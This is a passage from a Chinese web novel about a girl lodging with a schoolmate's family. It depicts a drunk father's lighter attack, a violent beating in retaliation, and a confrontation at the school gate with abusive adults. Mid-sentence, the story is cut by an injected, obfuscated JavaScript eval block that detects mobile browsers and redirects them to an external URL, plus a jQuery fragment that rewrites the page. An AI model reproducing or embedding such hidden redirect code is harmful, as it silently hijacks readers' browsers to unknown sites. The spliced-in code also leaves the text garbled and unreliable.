周一国旗下的讲话又由九班负责,这回上去的女孩是个典型的演讲者。 站在主席台上慷慨激昂,手舞足蹈,虽然因为紧张还是会有磕巴,但不妨碍她的自信。 “还有,很吵。”郑策评价道。 操场上的班级方阵里,郑策和骆远方的身高让他们分别居于女生最后一排和男生最后一排。 郑策微微侧过身,盯着主席台上的女生问,“我怎么不记得班里有个声音这么大的女孩儿,她是谁?” 骆远方斜着眼睛看她一眼,“你问我?” “失敬失敬。”郑策咧着嘴退回去。 这回国旗下的讲话和她上次相比,简直是大巫见小巫。 女孩儿一看就是经过训练的,不会闷头念稿,时不时抬头扫视一圈,在这群人里显得甚是老练。 如果每个人都把自己经营成一个品牌的话,那郑策就是杂牌子地摊货,而上面的女孩一看就是高端品牌。 她不由得感叹道:“人与人之间的差别还真是大啊。” 她还大这些人一岁呢。这一年的阅历白长了。 恰巧女孩在台上引用《了不起的盖茨比》里的一句话:每当你想批评别人的时候,要记住,这世上并不是所有人,都有你拥有的那些优势。 郑策听得捶胸顿足。 还他妈这么善解人意。 忽然余光里出现一个黑影,她下意识朝后一退,又立马被安城北拉了回去。 安城北压着嗓子道: “别动,假装我从没迟到。” “你怎么油光满面的。” 郑策撇开他的手,“没洗脸直接赶过来的?” “别说了。” 安城北愁眉苦脸叹了口气。 “昨晚楼下停了架敏感肌电瓶车,一碰就响,响了一晚上,我他妈差点疯了。一睁眼已经迟到了,挤洗面奶的时候拿成了我妈的卸妆油,我哪管那么多啊,校服里面还穿着睡衣,你们看我脚,拖鞋也忘记换了。” “你现在非常像菜市场遛狗的大爷。”骆远方难以言说地看了他一眼。 “你用洗面奶?”郑策惊讶。 “啧。怎么还不准人家精致一下?”安城北瞪她。 “你是够精致的。”郑策笑着看他拖鞋,又问。 “上面的女生是谁?” “班长啊?班长你们都不认识?”安城北一脸惊讶看两人。 他看了眼郑策,“人家可是货真价实的学霸。” “嘁。”郑策转过身去。 什么了不起的。 最近她的阅读障碍也在逐渐缓解,就像有句话说的,人就差逼自己一把。虽然被逼迫的滋味儿不好受,但确实是有成效的。 心情好的时候她能在放学前就把作业都给搞定,比如今天。 回去的时候骆淇正在做饭,她刚好得空去帮忙。 正在厨房里帮着,大门咔哒一声开了。来人戴一顶黑色鸭舌帽,一张黑色口罩,做贼一样钻了进来。 如果不是还牵着江蔚云,郑策就要乱棍伺候了。 进门后,骆乘光把口罩一摘,人中上的疤还没褪,棕褐色的痂定在那个位置上,十分尴尬。 “日本人回来了!”江蔚云挣脱他的手,跳着跑进厨房大声宣扬。 “别乱说。”骆远方趴在茶几上,一边写作业,一边笑。 “那明明是媒婆痣。” “还没掉啊?”郑策有些抱歉地看着他,“有没有什么药能掉的快些,我给你买。” “没事,耽误不了比赛。” 骆乘光本来要冲两人发火,面对郑策,声音又软了下来,朝她诙谐地眨了眨眼。 “而且这样更帅。” “你给我姨妈看看我送你的礼物。”江蔚云在旁边激动道。 骆乘光从兜里掏出折叠的一块硬纸,封面上画了个类似警徽的玩意儿。 郑策接过去打开看,里面画了个火柴人,写着重案六组族长落成广。 “好看!”郑策噗嗤一声笑出来,揉了揉江蔚云的头。 “把你乘光哥画得太好看了。” 厨房里骆淇又喊:“云朵儿吃不吃干奶粉,我要收起来了!” “吃!” 江蔚云生怕郑策私吞了这个财宝,从她手上一把抢回来,塞回骆乘光手里,就往厨房冲。 “你收好。”郑策郑重拍了拍骆乘光的手臂。 帮厨的一个好处便是能够在刚出锅的一秒内,最先品尝到美食。 郑策今天帮了全程,也吃了全程,以至于最后看着碗里的饭,有些爱莫能助。 骆远方一边夹菜一边说:“今天上课看来是动脑子了,真饿了。” 郑策瞄他一眼,更觉愧疚,别人都没吃饱,她这铁定要浪费。 又不能给别人吃自己剩下的。 唉。 她慢吞吞又夹了两片回锅肉下饭。 “饿了也就这一碗。” 骆淇说,“多的没有,我煮饭的技术就是这么高超,刚好一人一碗。” 骆远方见郑策一直不发言,直接挑明:“你吃不下了么?” “啊?”郑策猛然回神,耳根瞬间就红得发亮。 “怎么你还想和郑策抢饭吃?”骆淇瞪他。 骆远方不语,就看着郑策。 被逼得没法,郑策不好意思道:“刚在厨房偷嘴吃多了,有些吃不下了。” “那给我点。” 骆远方和骆乘光同时把碗放她面前,两人都楞住了。 “哎哟,我是养了两头猪吗?”骆淇嫌弃道。 “你不嫌弃他们就给他们吧。” 这是谁嫌弃谁啊…… 骆乘光和骆远方对视了眼后,默默把碗拿了回去。 “给我哥吧。” 郑策有些为难,“这……这我剩的。” “没事,不嫌弃你。” 骆远方直接拿起她的碗,往自己碗里扒拉。 骆淇看了他一眼,忍不住道:“你这洁癖也真是一阵一阵的。” “叔叔我也吃不下了。” 江蔚云见状怎能不心动。之前被郑策耳提面命不能搞特殊,在骆家一定要乖,所以她从来不敢剩饭。 此时非常见机,非常乖巧地把碗往前面一推。 “小孩子多吃点长身体。” 骆淇又给她推了回去。 江蔚云委屈地瞪她:…… 针对我是不是? 饭后骆远方照常是善后的那位。就跟学生宿舍的卫生一样,谁最不能忍,谁就去打扫。 而江蔚云和骆淇一老一小盘腿坐在沙发上捏着自己鼻梁看动漫,骆淇说这样会越来越高。 “那多捏捏。” 郑策笑着在厨房削了水果端出来,刚坐下,就听见敲门声。 原本融洽的气氛瞬间冷却。 因为他们都知道这个点,是谁来了。 骆淇把果盘往旁边一推,严肃道:“云朵儿去把卧室灯打开,把水果拿进去吃。” 骆远方冷着脸去开门。 一开门便闻到浓浓的酒气。 他站在门口没让,沉声道:“喝的烂醉就不要回来。” “你管我呢,这是我家,你是我儿子!” 郑案半闭着眼睛用食指不客气地去戳他。 “我从监狱里出来,没人接我。和社会脱节了这么久,我回来后也没人帮我。家里的床不给我睡,钥匙也不给我,你们真做的出来!” “你别撒酒疯。”骆远方不近不远盯着他。 郑案径直往沙发走,他自从出来后便没洗过澡,一身的汗臭混杂烟的焦味儿,又裹上浓重的酒腥,霎时间让室内空气难以呼吸。 江蔚云有些害怕地看了他一眼,端起桌上的果盘就要跑,没想到平日里从来不惹事的郑案忽然伸手一拦。 “小孩儿长得真可爱,我摸摸。” 郑策背上冷汗都冒了出来,力气很大地把江蔚云往自己怀里一扯,差点把她扯倒。又推着江蔚云往屋里走。 “去写你的作业。” 郑案摸了个空,手还僵 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“我当不好?现在你们还不是长大了,她呢?她人呢?” 因为喝醉了,郑案话格外多,又不会看人脸色。 他忽然大笑着指骆远方,“你有出息?不照样高中都毕不了业,还离家出走,屁都没挣着。” 他又指骆乘光,“你在外面书读的好好的,也偏要回来,这里有什么东西值得你们娘俩不要命地往回赶?” “这不都是拜你所赐么!”骆远方怒道,捏紧拳头。 “因为这里有我的家人,但不包括你。” 骆乘光冷哼一声,“自己走了歪路,自己没本事,全怪老婆孩子身上,你也真是出息啊郑案。” 郑策见状不对,想绕过郑案去骆淇那边,万一起了冲突,能照顾着她点。 却没想到这醉鬼反应也不慢,刚走了两步,她手腕一痛,被郑案死死攥住。 “那你是谁啊?” 他脸上露出诡异的迷茫,忽然对着骆远方他们喊。 “那他妈的她是谁?为什么能住在我家!这是我家!” 可能在监狱里也常年锻炼着,郑策一时竟挣脱不开。 “放开她!”骆远方喝道,看过去的目光沉沉,一字一句道: “这不是你家。” “留你是看你刚从牢里出来可怜,给你时间缓冲,还真以为能一直住下去?沙发也不是谁想睡就能睡的。” “你们他妈都该死!” 郑策被郑案抓的生疼,用力扭着手腕,忽然郑案赤红着眼转过来。 郑策毫无防备对上他没有理智的眼睛。 眼白上粘了一层淡黄色,血丝随着经络膨胀。郑策心里有些害怕,怔在原地。 郑案忽然笑着在兜里掏出一个东西,咔嚓一声,打火机点燃就往郑策校服上凑。 “你找死。” 骆远方两步过去,一把捏住郑案肩膀扭成一个夸张的幅度,郑案疼得仰倒过去。 “快脱快脱了!”骆淇也赶过来帮郑策脱掉已经燃烧的校服,往厕所里面扔。 骆远方拖着郑案就往门外走,开门的一瞬间,外面守着的几个人都呆住了。 看着他手下像个废物一样挣扎的郑案不知所措。 骆远方把郑案往楼梯间一扔,狠道: “想出气就打死他。” 那些人只为求财不为别的,除了小打小闹当然不敢动。 “打啊!” 骆远方踢了一脚地上的郑案,郑案立马疼得蜷成一只煮熟的虾子。 “给你们机会,你们自己不要。” 骆远方看着他们,忽然跨在郑案身上。一拳一拳落下,丝毫不手软。 “我他妈是没出息,不遗传你个混蛋了么。” 骆远方打红了眼,掐着郑案脖子怒吼。 “个傻逼自己没本事,一整天脾气乱他妈撒。” 郑案躺在地上毫无招架之力,只能伸出两只手臂挡在脸前。 “我们家不欠你的,你狗日的还不依不饶,不依不饶!” 喊到最后,骆远方的声音都哽咽了。 骆乘光上去拉了两次,可他根本不是骆远方的对手,还被误伤了两拳。 旁边一群人看得呆若木鸡。骆淇急得没法儿。 “你们他妈,就看他……把自己老子杀了么!” 郑案被打得话都说不全,断断续续地喊,伴随着几声痛叫。 郑策没见过这样疯狂的骆远方。 本以为他做事有分寸,但现下看来,是要分个你死我活的样子。 邻居也没人出来,估计都隔着猫眼看热闹呢。 骆乘光一个人拦不住,得再找不怕麻烦的人来帮忙。 她情急之下直接给安城北打了电话过去。 那边还没来得及说话,她疾速道:“快来骆远方家,他和别人打起来了。没人拦得住。” 安城北却慢悠悠道:“我骆哥有分寸,你放心吧,从来是掐着轻伤线揍人。谁不长眼惹了他?” “……他爹。” “我日了鬼了!” 那边有东西落地的声音,安城北调子都拔高了几分,腾地站起来。 紧接着就听见他奔跑着呼哧呼哧的风声。 “我马上来,让他爹再坚持一下!” 34. 最好不要辜负我 郑策发现骆远方身上的狠劲很可能是跟他爹学的。此时出手完全不考虑轻重。 郑案挨了几下打后,挑准时机也站了起来,反手随便摸到什么东西就往骆远方腿上招呼。 郑策似乎听到一声脆响,整个人都凝固住了,瞳孔瞬间收缩。 那可是他亲儿子啊! 骆远方拧着眉闷哼一声,抬脚一踢,郑案滚下楼梯。他两步追上,把膝盖直接抵在郑案胸口,压得郑案脸上青白交接。 安城北赶到的时候,看见的就是这样一幕。 骆远方像一匹饿狼,但是动作无论如何凶狠,眼睛依旧在月色下闪烁着不安和惶恐。 纠结和惊惶在他脸上交错。 恍惚间,侧颊滑落一滴晶莹。 很快又被他抬手抹掉,像水滴入海里,销声匿迹。郑策的呼吸也似乎被他牵扯着。 最终,在骆乘光和安城北被骆远方失控地揍了几拳后,两人勉强把他拉开。 竟都出了一身汗。 骆远方的韧带被他爹打断了,糊上厚厚一层石膏。骆淇心疼他,直接向学校请了三周的假。 去医院打石膏的时候,不知道有意无意,骆远方多拿了一份药的用量。 但回去后,郑案早就被不知道他的哪个兄弟给带走了。 安城北扛着骆远方回去的路上,一脸憔悴也不忘八卦为什么郑策会在他家。 骆远方只得解释租了他们家的卧室而已。 而安城北一脸我都懂的样子,心里油盐不进地盘算着租房费算什么,以后你还要收份子钱,说不定还要花奶粉钱…… 大闹了一场,却让死气沉沉的氛围松动了些。 像玻璃橱窗被砸烂了一个洞,残缺的人体模特大口呼吸灌进来的氧气,一时有些醉氧,迷迷糊糊像梦境。 在这家里呆着糟心,于是骆淇第二天就决定跟老伙伴们去周边旅行几周。骆远方刚好请假在家里,被拎着给她搭配了好几套衣裳的穿搭。 郑策一边吃早饭一边哭笑不得看着忙活的祖孙俩,心想这家人还真是天塌下来当被子盖。 同时,一定不把钱存在钱包里。 骆淇甚至因为出门太激动,不小心磕到橱柜边角,结结实实把战损妆给落了实才出门。 这两周郑策都是一个人上下学,她自己都没察觉到的,自己沉默了许多。 “你是不是有什么事啊?”林歌担忧地看着她,递来一包拖肥。 “我能有什么事?” 郑策一脸不解,“能吃能喝能睡,不能学。” 骆远方说中午食堂的饭不好抢,反正他闲着,这几周一直都是他在做饭,别说,味道还真不错。 “直觉,直觉察觉你太能藏事儿了。” 林歌皱着眉看她,有些失望地转过身去小声喃喃,“我以为我们是朋友。” 虽然声音很小,郑策听见后浑身一震。 她其实只是不习惯说这些事而已,总觉得快乐的事儿分享出去,快乐会加倍。 但糟心的事只适合自己舔舐,比不断被提起会忘得更快些。 之前的郑策根本不在意自己身边有多少真真假假的朋友,但此时忽然有些于心不忍。 像是,像是想抓住这个朋友。 郑策于是神秘兮兮道: “诶我上周看到了你idol的视频,这个男生是谁啊……” 林歌有时候跟没心没肺的江蔚云有的一拼,一听这话,恨不得直接坐郑策腿上,眼里闪着光问: “谁?我告诉你。” 郑策笑嘻嘻地偷偷拿出手机,看来她已经掌握了把控林歌的方法。 全程安城北一脸“我知道内情,但放心我绝对不会乱说”的表情,似笑非笑看着两人。 如果不是他在郑案的事上帮了忙,郑策高低想把他眼珠子给挖出来。 “诶,郑策你瘦了!” 林歌看着视频,忽然一把扯住她校服外套,“这空荡荡的,我心疼你。” 郑策有些尴尬地笑笑,“没事没事,可能最近换季没什么胃口。” 安城北又一脸了然,侧着眼睛看她衣角上一长条黑色笔痕。 那还是上回郑策给骆远方外套画上的。 郑策瞪了他一眼,将衣服裹了裹,手在胸前攥住一大布料,却越发显得她骨骼瘦弱。 郑策打着哈哈,“主要还是衣服版型问题,版型问题。” 经历了老师在讲台上唾沫横飞,台下满堂文武哑口无言的一上午。 快放学的时候,吴雨把郑策叫去了办公室。 之前说过的物理竞赛开始预报名,吴雨应该是还想再拉她一把。 刚到办公室门口,从里面走出一个漂亮的女生,扎着高丸子头,碎发肆意拂在光洁额角。 看见郑策的时候楞了下,但又十分礼貌地收回不自觉的审视,对她露出和善甜美的笑。 是之前在主席台上演讲的女生,安城北说也是他们的班长。 好像叫徐思彤。 当时远远看过去,有高材生高高在上不可一世的傲慢。后来在班里强调纪律的时候俨然一副严肃干部的做派,此时又笑得如同一阵和风。 虽然郑策理解她这样“为官”见人说人话,见鬼说鬼话的模样,但心里没来由还是一阵鄙夷。 只和她点点头便进了办公室。 吴雨办公桌上还摊开放着班长的简历。 郑策不小心瞄了一眼。 徐思彤,有过国外比赛经历,担任班级重要职位,各种评比上人缘远超第二名,群众基础优越。。 郑策看得出来,吴雨对这张纸很是满意。 她释怀地笑了笑。 也是,徐思彤这样的人,怎么可能放过这样的机会。 “吴老师,我都不加竞赛班,你觉得我会参加物理竞赛么?” 郑策一进屋就开门见山。 吴雨早就习惯了这姑娘直来直去的性子。 他本来也糙,如果不是当了教师,这张嘴怕早就身经百战,脏话连篇了。 吴雨笑着打开电脑桌面上一个文件,“但是你够格参赛,不会觉得可惜吗?” 那文件是吴雨根据自己调查和了解,替郑策写好的简历,与她之前的经历大差不差。 郑策呼吸一滞。 那些方正字此时却格外刺眼,提醒郑策过往的一幕幕。 她捏紧身侧的拳头,“我阅读障碍,又有太久没学物理,不想占用大家的名额。” “初赛讲究什么名额?有资格就行。” 吴雨眯着眼睛看她,一手搭在桌面上,五指来回敲着。 “说实话,你目前水平确实差点意思,但是我不想放弃你。” 郑策闻声一楞,“什么?” “我以前也不喜欢上学,高中读了五年。又老是打架惹事。有一回把人约到学校后山,发了狠,差点进去。” 吴雨说到这儿看她一眼,“是我当时的老师把我拉了回去。他什么都没说,只是告诉我不要因为别人提前交卷就乱写答案。他愿意拉我一把。” 郑策心里苦笑,拉一把的前提是能拉的动。她现在的状态,十头牛怕是也拉不回来。 “那个老师,是老雷么?” 吴雨惊讶地看着她,“你怎么猜到的?” 郑策耸耸肩,“因为你在他面前从来不说脏话,大家都在猜你们是什么关系。” 吴雨笑着摇摇头,把打印机里热腾腾的简历递给郑策。 “再考虑一下吧,拉一个人也累啊,前提是你自己得试着动动。” 郑策默默叹了口气,看着那张承载着她略微辉煌过去的纸张。 吴雨不容置疑直接塞到她手里,“听说骆远方受伤了,你知道情况吗?” 郑策摇摇头,装傻充愣。 “不太清楚。” “唉,今年一来来俩,他也是头拉不动的倔驴。” 吴雨扫了眼她身上的校服,若有所思点点头。 “瘦了。”郑策说。 鬼使神差地,郑策忽然想替骆远方辩上一辩。 “其实,他好像在认真学。” 这几天身边少了个戴眼镜耍帅的人,还真有些不习惯。 吴雨抹了把脸,疲惫地点点头,“成绩是在变好,但以他的能力,远不止这么点。” 听了这话,郑策撇撇嘴没再说什么。 不止这么点,是有多少。 总是把过高的期望架在别人身上,好说歹说垫垫脚努努力就能够到梦想。 但其实实际需要付出什么代价,他们从来不曾衡量。 只是站在上帝视角,将最好的一条路看似大方地铺在你面前。 走得下去,他替你喝彩,走不下去,摇着头惋惜。 世人总归是置身事外的清醒模样。 虽然是为他们好,但郑策一怒之下还是怒了一下。 出办公室门的时候差点崴了一脚。 回到教室,大部分人都出去吃饭了,往日里跑得比狗还快的安城北却在座位上稳如老狗。 郑策看了他一眼,这人明显在等自己,但迟迟不开口。 她也不主动说话。 郑策把简历往书包里随意一塞,背上就要走。 “这几天都回去吃的啊。”安城北快走两步跟上她。 “我说怎么不要我帮你抢饭呢?” 兄弟媳妇他义不容辞啊!可惜没挣到表现的机会。 安兄弟捶胸顿足。 郑策乜他一眼。 自打知道她住骆远方家里后,这人心理活动越来越丰富,说话也不知道为谁考虑,说一半留一半,阴阳怪气的。 安城北一路贱兮兮地看着郑策笑,没回复也不抱怨。 “奶奶要做午饭么?哦她好像是出去玩了是吧?背着书包是要给骆哥把作业带回去啊?” 郑策忽然停住,闭了下眼睛,转头看着他。 “什么事?” “我想吃我骆哥的饭。” 安城北露出人畜无害的一口白牙,死皮赖脸地笑着她。 郑策叹了口气,“他恢复得差不多了,等会儿打你我不管。” “你们……”安城北两手食指对了对。 “你再说一句话,我让你半路转车去医院。” 郑策捂着耳朵快走两步,耳根的粉红色被恰好遮住。 太吵了这人。 老旧小区不仅不隔音,而且不隔味儿,粤菜,东北菜,湘菜,苏帮菜到川菜,各种味道铺了一路。 谁要是肚子饿了,走进来就得昏厥。 一到门口,郑策就闻到了红烧肉的味道,昨天只是随口一提,没想到今中午就安排上了。 她觑了眼身后一脸期待的安城北,便宜这家伙了。 “回来了?” 骆远方拖着石膏在厨房里挪动,“今天他们俩都不回来,桌上煮了有毛豆,饿了先垫垫肚子。” “好滴!谢谢哥!”安城北一阵风般卷了进去。 听到他的声音,骆远方楞了下,笑道:“狗鼻子嘛你,闻着味儿就过来了。” “这快递是奶奶寄回来的烤奶皮吗?” 安城北翻开纸箱,眼前一亮,对厨房里撅了噘嘴。 “你们都拆封了!都是咱奶寄的,骆哥你凭啥偷吃!” 就像骆远方说的,安城北本性不坏,就是话多。 一路上郑策被吵得脑仁儿疼,此时安大营长终于换了火力集中对象。她立马逃离战场。 饭后骆远方提到过两天就要去把石膏拆了,安城北眼睛里立马闪耀奇异光芒。软磨硬泡下在骆远方的石膏上签上了自己的大名。 咱也不知道什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184482|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么癖好,看电视看傻了吧,非往人腿上签名。 签完看着时间还早,瘾大公司任职的安城北提前离开,打算去网吧先大战个一小时。 郑策这才才终于有时间把作业给掏出来。 “早上的物理和英语作业。” 她又把自己笔记本丢在小练习上,往沙发上一躺,没力气道: “还有我的笔记,你要是能看懂,可以看看,我差不多都记下来了。” “你阅读障碍好了?” 骆远方看向她的目光里是自己也想不到的温柔。 郑策仰着头干嚎:“这不是为了不让你落下么?我尽力了。” “为了我?” “昂。”郑策睁开眼睛瞪他。 “不然我累死累活逼自己干嘛?以前成绩好的时候,做什么都被别人期待,即使已经耗干精力,明知自己在原地踏步,哪怕作弊也要考好。现在没想到还得这样被逼着学。” 郑策仰天长啸:“我命好苦啊!” 她深深地看了骆远方一眼,“没想到吧,我还做过弊。我什么都做得出来,所以你最好不要辜负我。” “行啊。” 骆远方翻了下她的笔记本,虽然还是考验眼力,但起码从甲骨文变成了隶书,能够分辨一些形状。 还可以看出郑策尽力想把笔记做得细致些,以至于抄写的速度太快,一水儿的连笔。 果然是练草书的。 骆远方合上书说:“那就为了我再坚持坚持吧。” “我校服补好了么?”郑策偏着头看他,懒骨头一动也不想动。 骆远方和她对视了一会儿,看她除了脑袋,整个脖子以下瘫痪的模样有些想笑。 忽然好想捏捏她的脸,一定很柔软。 等反应过来不妥后,手已经伸了出去,两人都有些呆愣。 骆远方改为拍了拍她的肩膀,拄着拐杖起身,“我去拿。” “诶别别别,我去我去。” 在骆远方面前习惯了被照顾,郑策一时忽略了他的腿。 骆远方按着她的肩,让她坐了回去。 “我坐了一上午了都,我去。你休息吧,下午笔记写得好看点就行。” “那谢啦。” 郑策心安理得地躺回去。 “骆妈妈。” 拿过自己的校服,郑策叹为观止。 果然就像骆淇说的,骆远方的手艺名不虚传。简单的花样挑选和缝合,不仔细看不会发现原来这里烧了个洞。 郑策再不愿无数次解释自己这几日到底是吃了什么,怎么锻炼的,才瘦了这么多。套上自己校服就走了。 而她前脚刚出门,后脚骆乘光就一脸愤愤地回来。 他上唇的伤疤脱落了,但仔细看过去,和自己肤色还是有些差距。 骆远方翘着腿在茶几上,惊讶地看向他。 “八格牙路,有签证吗?就往居民楼里跑!我告诉你个鬼子,这里是中国!” “想坐轮椅么?”骆乘光瞪他一眼。 骆远方在沙发上笑得肚皮疼。 今天中午不知道怎么的,就是穷高兴。 “唉你哥我制动快三周了,命都要制没了,不能耍耍嘴皮子?” 骆乘光盯着他半晌,冷冷道。 “江蔚云课本没拿,我帮她拿东西。” 明显对自己成了别人家跑腿儿这件事很不满。 “啧。别在小孩儿面前沉着个脸。”骆远方点点头,提醒他。 “知道。” 骆乘光火速去两人的卧室,打开门嚯了一声。 “这是什么小型精品批发市场。” 骆远方见怪不怪,笑着问:“找得到么?” “就在桌上。” 骆乘光拿了书就要走,到门口时顿了下,犹豫道。 “我刚在楼下看见韩忠夏,他上来找事了?身边还跟着九中那边一家打印店的老板。” “什么?” 骆远方猛地坐起来,他想了想严肃道。 “你今天照看着江蔚云点儿。他们往哪个方向走的?” “去九中的方向,是回店里吧?” 骆乘光皱着眉头,预感到什么,自己也不太敢相信地问。 “他们想干什么?” “希望是。你不用管,先把书给江蔚云拿回去。” 骆乘光一走,骆远方就给安城北打了八百里加急的电话过去。 把意犹未尽还在手机上热血奋战的安城北给吓得立地升天。 一接通,骆远方就急着问:“郑策到校没有?” “啊?”安城北被吼得一愣一愣。 下午第一节课是体育课,他正可惜骆远方没办法一起打球,心情有些郁闷。 “哦,我都还没到呢,刚到校门口。怎么了?” “好像有人想找她闹事,你去看看她回学校没有?” “好。” 安城北心里一紧,抿了抿唇,转身间,余光里就看见了迎面走来的郑策。 心还没来得及放下,就看见她身后的两个男人,明显不怀好意地跟着她。 其中一个安城北认识,是学校后巷里一家打印店的老板。 “看到了!” 安城北激动地对着骆远方一顿脏话输出。 “操他丫的,傻.屌敢动我们学校的人,呸。看老子的。” 眼看着两人要追上郑策,韩忠夏的手快搭在郑策肩上。 “干嘛的!” 安城北忽然大吼一声。 就挂了电话。 操。 骆远方被这嗓子吼得从沙发上弹了起来,想知道发什么了什么,又被非常憋屈地挂了电话。 留下一阵火烧火燎的忙音。 啧。 忘了叫这傻逼别急着挂。 35. 来接你的 快接近上课时间,校门口掐着点回来的时间管理大师一抓一大把。 正是除了放学,一天中人流量最多的时候。 安城北这一嗓子可太好了,所有人都激动了起来。 其中不乏他认识的人,不限于大火箭、小火箭、清北班和普通班的人。 郑策当然也处于在街上走得世界安好,忽然被一声狂叫给唬得定在原地,大气不敢出的状态。 看见声源是安城北,而安城北又盯着自己时,她有所察觉地转过头去。 看到打印店老板的瞬间,她大脑皮层倏地炸开,猛地退后两步。 “流氓啊流氓诶!” 安城北嗓门不减,跟个高音喇叭一样循环播报,仰着脖子红着脸就走过来站在郑策身边,瞪着两人。 “你胡说八道什么!” 韩忠夏也粗声粗气道,“我他妈是她监护人,她不听话我来管管,关你什么事?” 想也不用想,这打印店的老板被抓进去后,首先就怀疑到了郑策头上。 出来后,不知什么原因和韩忠夏这个败类接上了头,两人一对,嘿都在同一个小丫头身上栽了一跟头。韩忠夏前两天刚好吃了瘪,怂恿着就来学校门口堵她。 他们目的不是打一架,而是想在学校门口羞辱她! 这个年纪的人尤其看中面子和别人的想法,十七八岁的少年总是昂首挺胸在同龄人面前展示自己最好的一面,不肯服输。 哪里会把家里丑事给摊开看。 眼看着周围人群聚集越来越多,郑策攥紧拳头。 信不信她今天让这两人开不了口。 而安城北当然不认识韩忠夏,被这么一吼,呆住了,求证地去看郑策。 郑策咬着牙,狠狠道:“他放屁。” 得嘞。 放屁的。 安城北底气立马回来了。 旁边几个九班的人见校外的人和安城北起了冲突,停在他们旁边冷声问: “老安,怎么了?” “他们耍流氓!”安城北盯着两人,理直气壮道。 几个男生个子都高,宽大的校服一套,整个人体积又拓上两倍。 他们鼻孔对着韩忠夏,“惹我们班的人?大火箭可不像小火箭那么好说话啊!” 明显个个还没脱了流氓气,说着这话的时候拳头捏得咔哒作响。 “我教训自家孩子,管你们什么事!” 韩忠夏梗着脖子道,“一群败家玩意儿,爸妈送你们来读书是来打架的吗?” “怎么说话呢!” 又有几个男生从围观的位置走了过来。 带头的寸头用拳头轻锤了锤安城北的肩,“今天让你们看看,小火箭成绩不仅比你们好,打架也一样不落!” 同时,清北班两个平日和安城北走的近的眼镜男生也把书包往地上一丢,大义凛然撸起袖子往这边走。 “教训孩子是这样教训的吗?你再在我们校门口横,我直接报警信不信?” “一群渣渣。” 打印店老板邪笑着,看着郑策说,“她她妈在我这儿……” 郑策瞳孔一紧,就想上去堵住这人的嘴。 她干的事怎么说都不太光彩,三千元可轻可重。但若是从这人嘴里说出来,不定会被歪曲成什么样子。 舆论一旦被引导,非过错方最后只会白口莫辩,即使扳回一城也洗不掉白纸上的脏污。 她得堵住这人的嘴。 同一时间,旁边一个人影快于她闪过,一拳先揍在了男人嘴角。 男孩儿将校服外套一脱,扔在地上,身上健硕肌肉在薄毛衣下隐隐若现。 “一群呆子,废他妈什么话,平行班的人烂命一条就是干,绝不会坐等个逼人在校门口嚣张。” 也不知道哪句话说错了,激起了班级间的大团结还是大内讧。 就着着每个班的代表们,对着门口两个不知所措的男人比起狠来。 在学校里憋久了学疯了的野狼崽子VS气势瞬间从虎豹降格为菜鸡的两个社会混混。 两个混混此时成了邪恶少年们课余休闲玩弄的小白鼠。 这阵仗,一时不知道该心疼谁。 “干嘛呢!” 柯言此时在保安的簇拥下杀出重围。 “一个个要翻天啊你们。滚回自己班去,我现在记着谁的脸,等会儿谁就有好果子吃!” “柯老师,他欺负你们班的人!”有人走之前愤愤道。 “我知道!” 柯言也大声喊,不知道说给谁听的。 “我们班的人我会护得好好的,不用你们操心!” “老师是吧?”被揍得蜷缩在地上的韩忠夏肿着脸爬起来。 “我是郑策的监护人,她偷了人店里的钱,我来教育孩子的。” “你放你妈的狗屁!”郑策骂完,被柯言瞪了一眼。 “三千元,才拿走就不想认账?”那老板也爬起来,气势凶凶地质问。 见对方底气这么足,说得有理有据,柯言皱着眉看了郑策一眼。 郑策有些委屈道:“我没有,他非法印刷,我把他们店端了,怀恨在心整我。” 韩忠夏一听就急了,生怕郑策多说几句扭转了局势,非常沉不住气地去拉她的手。 “整你个屁,跟我走!” “放开!给你脸了!” 一个男人的声音在背后喊。 “在学校动我们的学生,我们有权利对你动手,最后可别怪我们。” 吴雨身后带着一批明显更为专业的保安从校门口阵仗十足地走来。 “我是她监护人!” 韩忠夏死死攥住郑策的手,“那我带她回家,今天请一天假行了吧?别人家的家事你们也要管吗?” 郑策手腕被他捏得生疼,如果旁边没这么多人,她随手拿个棍子就能脱身,但现在不是时候。 她只能皱着眉和韩忠夏较劲。 “他不是我监护人。”郑策说,“监护人是我姨妈。” 郑策说这话的时候声音都在抖,恨不得把牙咬碎。 “我认识她姨妈,不是你。” 柯言皱着眉说,“放开她,不然我们报警了。” “报警?” 韩忠夏大笑,“报啊,让所有人都看看这个小白眼狼是什么样子。” 但他身后的打印店老板见状,有些慌了阵脚,不露痕迹地扯了下韩忠夏的衣服。 “废他妈什么话。” 吴雨上来,捏着韩忠夏手腕,一翻,就让他疼得吸了口气,脱力松开郑策。 郑策连忙装作弱小无助的模样后退两步呆在柯言身边,一脸狰狞地揉了揉刚被捏得血液不畅的手腕。 吴雨擒拿着韩忠夏一只手,直接掰到身后,又迅速抓住韩忠夏想偷袭的另一只手制在身前。 这行云流水的一套动作,就像是什么擒拿术的基础。 和当时骆远方教郑策的一模一样。 吴雨控制住韩忠夏,推着他节节倒退。 郑策不禁感叹,老吴这一身流氓气定非一日之功。 柯言有些忧心地看了一眼郑策,“没想到你姨父是这样的人,以后小心点。” 以为柯言会问的问题通通没有问。郑策愣神地看着柯言,眼睛里有些泛湿。 “你晚上回去……”柯言担心地问。 “我没住他们家,搬出来一个月了快,您……能不能不问。” 郑策想了想又补充道,“现在很安全。” 柯言还想说什么,沉默着点点头,拍了拍她的背。 “快进去上课,学生的本分不要忘了。” 郑策犹豫了下,看了一眼被逼得越来越远的韩忠夏,转身跑进教学楼。 笔记不能落了,不然会被骆远方看出问题来。 看着郑策拐进教学楼,柯言转头灵活地钻进一个小巷子里。 快步走了没几步,她果然没看错,拦住来人。 “腿伤好了?” 柯言看着骆远方还没来得及拆石膏的腿,皱了皱眉。 她这是什么命啊,什么样的学生都让她一股脑碰上了。 “嗯,谢谢老师。”骆远方沉着脸就要错过她。 “今天的事和你有关系?” 柯言不让路,窄巷里就无法通行。 